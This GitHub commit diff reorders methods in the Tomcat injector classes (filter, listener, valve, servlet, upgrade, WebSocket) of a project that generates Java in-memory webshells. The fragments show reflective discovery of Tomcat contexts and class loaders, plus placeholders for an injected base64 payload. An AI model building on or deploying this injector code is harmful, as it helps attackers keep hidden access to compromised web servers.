Skip to content

Commit d57fba6

Browse files
committed
refactor: change method order
1 parent 28c9f15 commit d57fba6

8 files changed

Lines changed: 138 additions & 130 deletions

File tree

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

Lines changed: 17 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -61,22 +61,6 @@ public TomcatFilterInjector() {
6161
System.out.println(msg);
6262
}
6363

64-
@SuppressWarnings("all")
65-
private String getContextRoot(Object context) {
66-
String r = null;
67-
try {
68-
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
69-
} catch (Exception ignored) {
70-
}
71-
String c = context.getClass().getName();
72-
if (r == null) {
73-
return c;
74-
}
75-
if (r.isEmpty()) {
76-
return c + "(/)";
77-
}
78-
return c + "(" + r + ")";
79-
}
8064
/**
8165
* org.apache.catalina.core.StandardContext
8266
* /usr/local/tomcat/server/lib/catalina.jar
@@ -118,6 +102,23 @@ public Set<Object> getContext() throws Exception {
118102
return contexts;
119103
}
120104

105+
@SuppressWarnings("all")
106+
private String getContextRoot(Object context) {
107+
String r = null;
108+
try {
109+
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
110+
} catch (Exception ignored) {
111+
}
112+
String c = context.getClass().getName();
113+
if (r == null) {
114+
return c;
115+
}
116+
if (r.isEmpty()) {
117+
return c + "(/)";
118+
}
119+
return c + "(" + r + ")";
120+
}
121+
121122
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
122123
try {
123124
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

Lines changed: 17 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -53,23 +53,6 @@ public TomcatListenerInjector() {
5353
System.out.println(msg);
5454
}
5555

56-
@SuppressWarnings("all")
57-
private String getContextRoot(Object context) {
58-
String r = null;
59-
try {
60-
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
61-
} catch (Exception ignored) {
62-
}
63-
String c = context.getClass().getName();
64-
if (r == null) {
65-
return c;
66-
}
67-
if (r.isEmpty()) {
68-
return c + "(/)";
69-
}
70-
return c + "(" + r + ")";
71-
}
72-
7356
public Set<Object> getContext() throws Exception {
7457
Set<Object> contexts = new HashSet<Object>();
7558
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -107,6 +90,23 @@ public Set<Object> getContext() throws Exception {
10790
return contexts;
10891
}
10992

93+
@SuppressWarnings("all")
94+
private String getContextRoot(Object context) {
95+
String r = null;
96+
try {
97+
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
98+
} catch (Exception ignored) {
99+
}
100+
String c = context.getClass().getName();
101+
if (r == null) {
102+
return c;
103+
}
104+
if (r.isEmpty()) {
105+
return c + "(/)";
106+
}
107+
return c + "(" + r + ")";
108+
}
109+
110110
private ClassLoader getWebAppClassLoader(Object context) {
111111
try {
112112
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

Lines changed: 28 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,9 @@
88
import java.lang.reflect.InvocationHandler;
99
import java.lang.reflect.Method;
1010
import java.lang.reflect.Proxy;
11-
import java.util.*;
11+
import java.util.HashSet;
12+
import java.util.Map;
13+
import java.util.Set;
1214
import java.util.zip.GZIPInputStream;
1315

1416
/**
@@ -21,6 +23,14 @@ public class TomcatProxyValveInjector implements InvocationHandler {
2123
private static String msg = "";
2224
private static boolean ok = false;
2325

26+
public String getClassName() {
27+
return "{{className}}";
28+
}
29+
30+
public String getBase64String() {
31+
return "{{base64Str}}";
32+
}
33+
2434
public TomcatProxyValveInjector() {
2535
if (ok) {
2636
return;
@@ -49,36 +59,11 @@ public TomcatProxyValveInjector() {
4959
System.out.println(msg);
5060
}
5161

52-
@SuppressWarnings("all")
53-
private String getContextRoot(Object context) {
54-
String r = null;
55-
try {
56-
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
57-
} catch (Exception ignored) {
58-
}
59-
String c = context.getClass().getName();
60-
if (r == null) {
61-
return c;
62-
}
63-
if (r.isEmpty()) {
64-
return c + "(/)";
65-
}
66-
return c + "(" + r + ")";
67-
}
68-
6962
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
7063
this.rawValve = rawValve;
7164
this.proxyValve = proxyValve;
7265
}
7366

74-
public String getClassName() {
75-
return "{{className}}";
76-
}
77-
78-
public String getBase64String() {
79-
return "{{base64Str}}";
80-
}
81-
8267
@Override
8368
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
8469
if ("invoke".equals(method.getName())) {
@@ -133,6 +118,23 @@ public Set<Object> getContext() throws Exception {
133118
return contexts;
134119
}
135120

121+
@SuppressWarnings("all")
122+
private String getContextRoot(Object context) {
123+
String r = null;
124+
try {
125+
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
126+
} catch (Exception ignored) {
127+
}
128+
String c = context.getClass().getName();
129+
if (r == null) {
130+
return c;
131+
}
132+
if (r.isEmpty()) {
133+
return c + "(/)";
134+
}
135+
return c + "(" + r + ")";
136+
}
137+
136138
private ClassLoader getWebAppClassLoader(Object context) {
137139
try {
138140
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java

Lines changed: 20 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,9 @@
88
import java.lang.reflect.Constructor;
99
import java.lang.reflect.Field;
1010
import java.lang.reflect.Method;
11-
import java.util.*;
11+
import java.util.HashSet;
12+
import java.util.Map;
13+
import java.util.Set;
1214
import java.util.zip.GZIPInputStream;
1315

1416
/**
@@ -60,23 +62,6 @@ public TomcatServletInjector() {
6062
System.out.println(msg);
6163
}
6264

63-
@SuppressWarnings("all")
64-
private String getContextRoot(Object context) {
65-
String r = null;
66-
try {
67-
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
68-
} catch (Exception ignored) {
69-
}
70-
String c = context.getClass().getName();
71-
if (r == null) {
72-
return c;
73-
}
74-
if (r.isEmpty()) {
75-
return c + "(/)";
76-
}
77-
return c + "(" + r + ")";
78-
}
79-
8065
public Set<Object> getContext() throws Exception {
8166
Set<Object> contexts = new HashSet<Object>();
8267
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -114,6 +99,23 @@ public Set<Object> getContext() throws Exception {
11499
return contexts;
115100
}
116101

102+
@SuppressWarnings("all")
103+
private String getContextRoot(Object context) {
104+
String r = null;
105+
try {
106+
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
107+
} catch (Exception ignored) {
108+
}
109+
String c = context.getClass().getName();
110+
if (r == null) {
111+
return c;
112+
}
113+
if (r.isEmpty()) {
114+
return c + "(/)";
115+
}
116+
return c + "(" + r + ")";
117+
}
118+
117119
private ClassLoader getWebAppClassLoader(Object context) {
118120
try {
119121
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java

Lines changed: 17 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -55,23 +55,6 @@ public TomcatUpgradeInjector() {
5555
System.out.println(msg);
5656
}
5757

58-
@SuppressWarnings("all")
59-
private String getContextRoot(Object context) {
60-
String r = null;
61-
try {
62-
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
63-
} catch (Exception ignored) {
64-
}
65-
String c = context.getClass().getName();
66-
if (r == null) {
67-
return c;
68-
}
69-
if (r.isEmpty()) {
70-
return c + "(/)";
71-
}
72-
return c + "(" + r + ")";
73-
}
74-
7558
/**
7659
* org.apache.catalina.core.StandardContext
7760
* /usr/local/tomcat/server/lib/catalina.jar
@@ -113,6 +96,23 @@ public Set<Object> getContext() throws Exception {
11396
return contexts;
11497
}
11598

99+
@SuppressWarnings("all")
100+
private String getContextRoot(Object context) {
101+
String r = null;
102+
try {
103+
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
104+
} catch (Exception ignored) {
105+
}
106+
String c = context.getClass().getName();
107+
if (r == null) {
108+
return c;
109+
}
110+
if (r.isEmpty()) {
111+
return c + "(/)";
112+
}
113+
return c + "(" + r + ")";
114+
}
115+
116116
@SuppressWarnings("all")
117117
private Object getShell(Object context) throws Exception {
118118
ClassLoader classLoader = context.getClass().getClassLoader();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java

Lines changed: 17 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -53,23 +53,6 @@ public TomcatValveInjector() {
5353
System.out.println(msg);
5454
}
5555

56-
@SuppressWarnings("all")
57-
private String getContextRoot(Object context) {
58-
String r = null;
59-
try {
60-
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
61-
} catch (Exception ignored) {
62-
}
63-
String c = context.getClass().getName();
64-
if (r == null) {
65-
return c;
66-
}
67-
if (r.isEmpty()) {
68-
return c + "(/)";
69-
}
70-
return c + "(" + r + ")";
71-
}
72-
7356
public Set<Object> getContext() throws Exception {
7457
Set<Object> contexts = new HashSet<Object>();
7558
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -107,6 +90,23 @@ public Set<Object> getContext() throws Exception {
10790
return contexts;
10891
}
10992

93+
@SuppressWarnings("all")
94+
private String getContextRoot(Object context) {
95+
String r = null;
96+
try {
97+
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
98+
} catch (Exception ignored) {
99+
}
100+
String c = context.getClass().getName();
101+
if (r == null) {
102+
return c;
103+
}
104+
if (r.isEmpty()) {
105+
return c + "(/)";
106+
}
107+
return c + "(" + r + ")";
108+
}
109+
110110
@SuppressWarnings("all")
111111
private Object getShell(Object context) throws Exception {
112112
ClassLoader classLoader = context.getClass().getClassLoader();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

Lines changed: 20 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,9 @@
77
import java.lang.reflect.Constructor;
88
import java.lang.reflect.Field;
99
import java.lang.reflect.Method;
10-
import java.util.*;
10+
import java.util.HashSet;
11+
import java.util.Map;
12+
import java.util.Set;
1113
import java.util.zip.GZIPInputStream;
1214

1315
/**
@@ -59,23 +61,6 @@ public TomcatWebSocketInjector() {
5961
System.out.println(msg);
6062
}
6163

62-
@SuppressWarnings("all")
63-
private String getContextRoot(Object context) {
64-
String r = null;
65-
try {
66-
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
67-
} catch (Exception ignored) {
68-
}
69-
String c = context.getClass().getName();
70-
if (r == null) {
71-
return c;
72-
}
73-
if (r.isEmpty()) {
74-
return c + "(/)";
75-
}
76-
return c + "(" + r + ")";
77-
}
78-
7964
public Set<Object> getContext() throws Exception {
8065
Set<Object> contexts = new HashSet<Object>();
8166
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -113,6 +98,23 @@ public Set<Object> getContext() throws Exception {
11398
return contexts;
11499
}
115100

101+
@SuppressWarnings("all")
102+
private String getContextRoot(Object context) {
103+
String r = null;
104+
try {
105+
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
106+
} catch (Exception ignored) {
107+
}
108+
String c = context.getClass().getName();
109+
if (r == null) {
110+
return c;
111+
}
112+
if (r.isEmpty()) {
113+
return c + "(/)";
114+
}
115+
return c + "(" + r + ")";
116+
}
117+
116118
private ClassLoader getWebAppClassLoader(Object context) {
117119
try {
118120
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

0 commit comments

Comments
 (0)